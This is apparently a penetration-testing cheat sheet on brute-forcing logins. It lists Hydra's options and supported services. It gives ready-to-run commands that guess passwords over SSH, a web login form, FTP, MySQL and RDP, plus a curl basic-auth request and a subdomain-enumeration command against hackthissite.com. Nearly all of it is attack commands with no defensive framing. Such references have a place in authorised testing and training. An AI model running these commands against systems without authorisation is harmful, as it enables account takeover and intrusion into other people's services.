πŸ’ͺBrute Force

Hydra

Global Options

-l : user -L : a list of users`` file -p : password -P : a list of passwords`` file -t : nb of tasks per target (default: 16) -o : output file -b : specify the format for the -o file (default: txt) -f : exit when a login/pwd is found -M : a list of hosts`` file ``-I : ignore an existing restore file -R: restore an aborted session. Requires an hydra.restore file. Options can be changed by setting them after -R -S : connect via SSL -u : do all users for 1 password instead of all password for each user. -c : the wait time by second per login attempt

Supported services: adam6500 afp asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) mysql5 ncp nntp oracle oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp radmin2 redis rexec rlogin rpcap rsh rtsp s7-300 sapr3 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

SSH

hydra -l john -P list.txt target_ip ssh

Web Form

hydra -L userlist.txt -P pwdlist.txt 192.168.10.10 http-form-get "/login:user=^USER^&password=^PASS^:Failed" -t 8 -o results.txt

FTP

hydra -l john -P list.txt target_ip ftp

MySQL

hydra -l john -P list.txt target_ip mysql

RDP

hydra -l john -P list.txt rdp://target_ip

Curl

Basic Auth

curl -v -X GET 'http://target.com/login?username=admin&password=password'

subEnum

./subenum.py -w subnames.txt -d hackthissite.com

Last updated